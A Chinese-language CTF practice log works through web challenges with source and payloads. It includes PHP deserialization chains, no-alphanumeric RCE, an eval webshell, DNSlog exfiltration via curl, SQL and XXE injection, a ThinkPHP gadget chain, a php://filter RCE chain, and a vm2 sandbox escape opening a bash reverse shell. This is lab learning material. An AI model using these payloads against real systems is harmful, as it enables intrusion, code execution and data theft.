日常题目练习 WEB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class X { public $x = "fllllllag.php"; // function __construct($x) // { // $this->x = $x; // } function __wakeup() { if ($this->x !== *__FILE__*) { $this->x = "fllllllag.php"; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } $a=new X(); echo serialize($a);
简单的pop链书写,注意写的时候construct会报错,将其注释即可
[鹏城杯 2022]简单的php 这题学到了一些新的知识点
无参
1 2 3 4 5 6 7 8 9 10 11 <?php show_source(__FILE__); $code = $_GET['code']; if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); } ?>
一个无参rce
一个无数字字母rce,好家伙,可是不简单
无参rce没过滤systemhttps://xz.aliyun.com/t/10212#toc-4
system(current(getallheaders()));
结合无数字字母的异或
1 ?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
来分割
二维数组进行拼接必须有用[!%FF]进行分隔
[UUCTF 2022 新生赛]ez_unser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php show_source (*__FILE__ *);class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a="ls" ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =new test ();$a ->b=&$a ->a;$a ->c='system("ls");' ;echo serialize ($a );
本来想绕过wakeup的,结果正则给限制的死死的,这里利用变量传递,将a的值传递给b
[SWPUCTF 2022 新生赛]numgame 查看源码可进入下一关
/NsScTf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 ); include ("flag.php" ); class nss { static function ctf ( ) { include ("./hint2.php" ); } } if (isset ($_GET ['p' ])){ if (preg_match ("/n|c/m" ,$_GET ['p' ], $matches )) die ("no" ); call_user_func ($_GET ['p' ]); }else { highlight_file (__FILE__ ); }
提示说是post传参,有些疑惑,
post传
p=nss2::ctf
得到flag
FSCTF [ez_eval] 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET ['word' ])){ $word = $_GET ['word' ]; if (preg_match ("/cat|tac|tail|more|head|nl|flag|less| /" , $word )){ die ("nonono." ); } $word = str_replace ("?" , "" , $word ); eval ("?>" . $word ); }else { highlight_file (__FILE__ ); }
多亏了晨曦师傅的指导,本来用的<script${IFS}language=’php’>@eval($_POST[a]);
1 2 3 get:?word=<script%09language='php'>@eval($_POST[shell]);</script> post:shell=system("cat /flag");
晨曦师傅说${IFS}在bash里才能用
ping无回显 1 2 3 4 5 6 7 8 9 10 11 <?php $target = $_GET ['ip' ] ?? false ;if (!$target ) { highlight_file (__FILE__ ); die (); } shell_exec ('ping -c 1 ' . $target );
?ip=aog1cq.dnslog.cn|cat /flllag| while read line; do echo $line.aog1cq.dnslog.cn | xargs curl; done
bzd3p6.dnslog.cn|ls /app| while read line; do echo $line.bzd3p6.dnslog.cn | xargs curl; done
dnslog循坏外带
[CISCN 2019初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
这个题即有长长的黑名单过滤,还有字符的过滤,麻了。题目描述有数学函数,尝试了一个数学函数
发现正好可以执行,看到题目里给的网站,。里面好多的数学函数利用,猜测主要利用到base_convert()
他可以实现任意进制之间的转换
经过了解哈,最高可以到36进制
36进制 ,是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-F对应10-35。
进制说明:36进制是 0-Z (0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ)。
这个函数的作用是任何进制之间转换数字
这里用大于26的进制就能构造
这里我没想的到的是,这里构造的高进制数字会当作字符串处理,而不是当作数字处理
测试一下,可行转换可以用赛博厨子的frombase解密(就是从36进制转到10进制)
?c=base_convert(55490343972,10,36)()
之后同理,我们拼接system
这里我们可以构造字母那其实构造别的符号可以先构造别的函数实现
这里用这两个
1 2 3 4 dechex()函数: 可以将十进制转换为十六进制 hex2bin()函数: 可以将十六进制转换为ascii码
那么单引号就是
?c=base_convert(37907361743,10,36)(27)
这里想办法构造一个参数传入点,类似$_GET[1]这样
这里_ 和 []过滤了 因此要用前面小数点的方法构造
为了省长度 一次性把_GET都构造出来
[被过滤了 可以用{代替 就不用构造了 同样$没过滤 直接用就行
base_convert(37907361743,10,36)(dechex(1598506324))
下面想办法传入$_GET(1)
?c=$kkk=base_convert(37907361743,10,36)(dechex(1598506324));($$kkk){1}
思路是先传入一个变量kkk,再用$$kkk等价于与$_GET
这里发现之前不是什么字母都能用的,把kkk换成白名单了随便一个
c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}
先试试phpinfo()
这里利用变量执行函数,利用了php7的特性
1 2 ($a)($b) //这里a是一个字符串,内容是一个函数名//b也是字符串,内容是参数$a='print_r'$b='test'//对于无参数函数 $a='phpinfo'$a()
1 2 3 4 5 6 7 8 9 10 11 //无法输出 <?php $a='phpinfo()'; ($a) ?> //正常输出 <?php $a='phpinfo'; ($a)() ?>
所以我们为了后面能执行,要传入两个变量 一个是函数名 一个是参数
?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})
测试
最终payload:?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})&1=system&2=tac%20/flag
[CSAWQual 2019]Unagi 存在xxe漏洞
文件上传恶意的xml文件读取法拉格
]> bob passwd2 Bob bob@fakesite.com CSAW2019 &xxe;
上传会显示不允许上传
编码一下iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
上传2.xml即可得出法拉格
[羊城杯 2020]Blackcat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。'); } echo exec("nc".$_POST['One-ear']);
MP3文件里看到文件
本地测试一下绕过hash_hmac
hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值
参数
必需的
描述
algo
是
要使用的哈希算法名称,例如:“md5”,“sha256”,“haval160,4” 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。
data
是
要进行哈希运算的消息。
key
是
使用 HMAC 生成信息摘要时所使用的密钥。
raw_output
否
设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。
值对应相等就好,
Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;grep } f*&White-cat-monitor[]=1
[NISACTF 2022]hardsql quine注入
1 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
原本的payload登录显示wafhere
我原本你也不知道过滤了啥
最后发现是char被过滤
可以换成chr
发现也不行
后来看了可以传承16进制
char(34)->0x22
char(39)->0x27
char(46)->0x2e
‘//union/ /select//replace(replace(‘“/ /union//select/ /replace(replace(“%”,0x22,0x27),0x2e,”%”)#’,0x22,0x27),0x2e,’”//union/ /select/**/replace(replace(“%”,0x22,0x27),0x2e,”%”)#’)#
username=bilala&passwd=’//union/ /select//replace(replace(‘“/ /union//select/ /replace(replace(“%”,0x22,0x27),0x25,”%”)#’,0x22,0x27),0x25,’”//union/ /select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’)#&login=登录
[强网杯 2019]随便注 堆叠注入 预处理语句 重命名
想试sqlmap来着没出来。。。。
源码里写了sqlmap是没有灵魂的
万能语句试一下
1’ or ‘1’=’1条件永真
会打印出信息
查看所有数据库
查看表
猜测在那串数字表里
看看表里有哪些列,看到flag
1 1';desc `1919810931114514`;#
1 ?inject=1';prepare Q1ngchuan from concat('sel','ect',' * from `1919810931114514` ');execute Q1ngchuan;#
Q1ngchuan为变量 execute为执行这个变量
prepare 被过滤 可以用set
1’;set @sqli=concat(char(115,101,108,101,99,116),’ * from 1919810931114514
‘);prepare hacker from @sqli;execute hacker;#
1 inject=1';prepare Q1ngchuan from concat(char(115,101,108,101,99,116),' * from `1919810931114514` ');execute Q1ngchuan;#
1’;rename table words to words1;rename table 1919810931114514
to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
1 1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#
改完表名,换完数据之后
永真输出words下的内容
HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
这是一个例子
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
更多可参考MySQL :: MySQL 8.0 Reference Manual :: 13.2.4 HANDLER Statement
所以按照这个重新构造payload
0’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得到flag
[FBCTF 2019]rceservice 让输入json格式
json格式
1 cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
[NSSRound#8 Basic]MyPage 前期判断出现Apache/2.4.38 (Debian ) Server at node1.anna.nssctf.cn Port 28289
猜测网站根目录在/var/www/html目录下
根据url猜测可以读取文件
尝试利用为协议读,发现不行
多次尝试猜测是require_once()
一个文件就包含一次,多次包含会出错
搜索绕过方法:
先来了解一下PHP文件包含机制:
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将…/、./、软连接等都进行计算,得到一个最终的路径,再进行包含。如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过include_once限制。
新知识点
1 2 3 4 /proc/self指向当前进程的/proc/pid/, /proc/self/root/是指向/的符号链接 cwd 文件是一个指向当前进程运行目录的符号链接
在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径。
/proc
目录即保存在系统内存中的信息,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看,有些文件信息表述的内容可以一目了然,但也有文件的信息却不怎么具有可读性。
/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件:
[NSSRound#8 Basic]MyDoor
1 php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php&0=cat+/proc/self/environ
[CISCN 2022 初赛]ezpop www.zip得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php namespace think { abstract class Model { private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = '') { $this->lazySave = True; $this->data = ['whoami' => ['cat /nssctfflag']];# 这里需要自己进行更改!!! $this->exists = True; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami', ['whoami']]; $this->jsonAssoc = True; } } } namespace think\model { use think\Model; class Pivot extends Model { } } namespace { echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot())))); }
[安洵杯 2019]JustBase 1 2 VGhlIGdlb@xvZ#kgb@YgdGhlIEVhcnRoJ#Mgc#VyZmFjZSBpcyBkb@!pbmF)ZWQgYnkgdGhlIHBhcnRpY#VsYXIgcHJvcGVydGllcyBvZiB#YXRlci$gUHJlc@VudCBvbiBFYXJ)aCBpbiBzb@xpZCwgbGlxdWlkLCBhbmQgZ@FzZW(!cyBzdGF)ZXMsIHdhdGVyIGlzIGV$Y@VwdGlvbmFsbHkgcmVhY#RpdmUuIEl)IGRpc#NvbHZlcywgdHJhbnNwb#J)cywgYW%kIHByZWNpcGl)YXRlcyBtYW%%IGNoZW!pY@FsIGNvbXBvdW%kcyBhbmQgaXMgY@(uc#RhbnRseSBtb@RpZnlpbmcgdGhlIGZhY@Ugb@YgdGhlIEVhcnRoLiBFdmFwb#JhdGVkIGZyb@)gdGhlIG(jZWFucywgd@F)ZXIgdmFwb#IgZm(ybXMgY@xvdWRzLCBzb@!lIG(mIHdoaWNoIGFyZSB)cmFuc#BvcnRlZCBieSB#aW%kIG(@ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm(tIHRoZSBjbG(!ZHMgcHJvdmlkZXMgdGhlIGVzc@VudGlhbCBhZ@VudCBvZiBjb@%)aW%lbnRhbCBlcm(zaW(uOiByYWluLlRoZSByYXRlIGF)IHdoaWNoIGEgbW(sZWN!bGUgb@Ygd@F)ZXIgcGFzc@VzIHRob#VnaCB)aGUgY#ljbGUgaXMgbm()IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM^IENURnsyMi!RV)VSVFlVSU*tUExLSkhHRkRTLUFaWENWQk%NfQ==
直接用文本替换将!@#$%^*()换成键盘对应数字进行base64解码
[NSSRound#7 Team]ec_RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --> <!-- By 探姬 --> <?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data"); echo $output; ?>
直接action=;cat /flag
我都没太明白怎么出的。。。
[GKCTF 2020]cve版签到 %00截断加ssrf
url=http://127.0.0.123%00.ctfhub.c
WEB-CTFShow-菜狗杯-我的眼里只有$ 1 2 3 4 error_reporting(0); extract($_POST); eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_); highlight_file(__FILE__);
通过阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’相当于36层赋值后执行
1 2 3 4 5 6 7 8 9 10 11 12 $str="_=__"; $res=""; echo "_=__&"; for ($i=0; $i < 34; $i++) { $str="_".$str."_"; echo $str."&"; if($i==33){ echo explode("=", $str)[1]."=eval(\$_GET[1]);"; } }
[October 2019]Twice SQL Injection 先登录山峰
xxx‘ union select database()#
xxx’ union select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’ #
xxx’ union select group_concat(table_name) from information_schema.tables where table_schema=’ctftraining’ #
xxx’ union select group_concat(flag)from flag#
[西湖论剑 2022]Node Magical Login main.js部分源码
1 2 3 4 5 6 7 8 9 10 11 app.get("/flag1",(req,res) => { controller.Flag1Controller(req,res) }) app.get("/flag2",(req,res) => { controller.CheckInternalController(req,res) }) app.post("/getflag2",(req,res)=> { controller.CheckController(req,res) })
看源码有两部分flag应该
再烂看controller.js部分源码
1 2 3 4 5 6 7 8 9 10 11 12 function LoginController(req,res) { try { const username = req.body.username const password = req.body.password if (username !== "admin" || password !== Math.random().toString()) { res.status(401).type("text/html").send("Login Failed") } else { res.cookie("user",SECRET_COOKIE) res.redirect("/flag1") } } catch (__) {} }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function Flag1Controller(req,res){ try { if(req.cookies.user === SECRET_COOKIE){ res.setHeader("This_Is_The_Flag1",flag1.toString().trim()) res.setHeader("This_Is_The_Flag2",flag2.toString().trim()) res.status(200).type("text/html").send("Login success. Welcome,admin!") } if(req.cookies.user === "admin") { res.setHeader("This_Is_The_Flag1", flag1.toString().trim()) res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!") }else{ res.status(401).type("text/html").send("Unauthorized") } }catch (__) {} }
可以看到,cookie里user值为admin才会设置session,并且可以得到flag1
NSSCTF{94784282-c4ee
接下来看flag2部分
看到在登录界面Math.random(),密码符合这样才能flag2
看一下和flag2相关的
1 2 3 function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } }
这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了
注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json,数组要有16位
NSSCTF{94784282-c4ee-4d3d-a48b-27c47a753c83}
RCE但是没有完全RCE
[HZNUCTF 2023 final]eznode(VM原型链污染) app.js源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 const express = require('express'); const app = express(); const { VM } = require('vm2'); app.use(express.json()); const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); }); app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } }) app.listen(3000, function () { console.log('start listening on port 3000'); });
通过分析源码可知是nodejs的vm框架
引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞
backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce
vm2 原型链污染导致沙箱逃逸 poc:
1 2 3 let res = import('./foo.js') res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
想进backdoor首先满足if (copybody.shit)
1 2 {"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}}
[NCTF 2019]Fake XML cookbook 简单的xxe实体注入
1 2 3 4 5 ?xml version="1.0" encoding="utf-8"?> <!DOCTYPE example [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</username><password>password</password></user>
[NCTF 2018]Easy_Audit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file(__FILE__); error_reporting(0); if($_REQUEST){ foreach ($_REQUEST as $key => $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('waf..'); } } if($_SERVER){ if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..'); } if(isset($_GET['yulige'])){ if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!! die('waf..'); }else{ if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){ $getflag = file_get_contents($_GET['flag']); } if(isset($getflag) && $getflag === 'ccc_liubi'){ include 'flag.php'; echo $flag; }else die('waf..'); } } ?>
第一层变量覆盖,post检查优先级比其他高,在post输入数字即可绕过
第二层
$_SERVER['QUERY_STRING']
这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING']
获取的值是未经urldecode的,所以直接编码一下就好了
1 $_SERVER['QUERY_STRING']
这个全局变量中的QUERY_STRING是获取url中?后面的部分
1 http:``//localhost/aaa/index.php?p=222&q=333<br>结果:``$_SERVER``[``'QUERY_STRING'``] = ``"p=222&q=333"``;``$_SERVER``[``'REQUEST_URI'``] = ``"/aaa/index.php?p=222&q=333"``;``$_SERVER``[``'SCRIPT_NAME'``] = ``"/aaa/index.php"``;``$_SERVER``[``'PHP_SELF'``] = ``"/aaa/index.php"``;
第三层,数组绕过就行,都为空
第四层,既要有nctf,又不能等于nctf,随便加一点字符串就可以
第五层,利用data伪协议即可得到flag
1 ?%79ulige[]=&nct%66=a%6e%63%74%66%69%73%66%75%6e&%66lag=data://text/plain;base64,Y2NjX2xpdWJp
[羊城杯 2020]easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
又是一道新知识点,学到了好多,进一步了解了.htaccess文件的特性
首先来看一下题目的逻辑,首先删除当前目录下非index.php的文件,之后获取filename和content并写入文件中。其中对filename和content都有过滤,对内容还有拼接hello world
联想到服务器用的是Apache服务器,一般会结合.htaccess来getshell
通常我们用
.htaccess来解析非php后缀文件时用到
AddType application/x-httpd-php .ppp
或者
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
但是此时content中过滤了on,type,并且过滤了file,那么
auto_append_file和
auto_prepend_file肯定也无法使用,搜索中.htaccess+getshell大多数也是结合这两种方法,结合题目逻辑:
删除除了index.php的所有文件,但是.htaccess如果上传肯定unlink没法删除
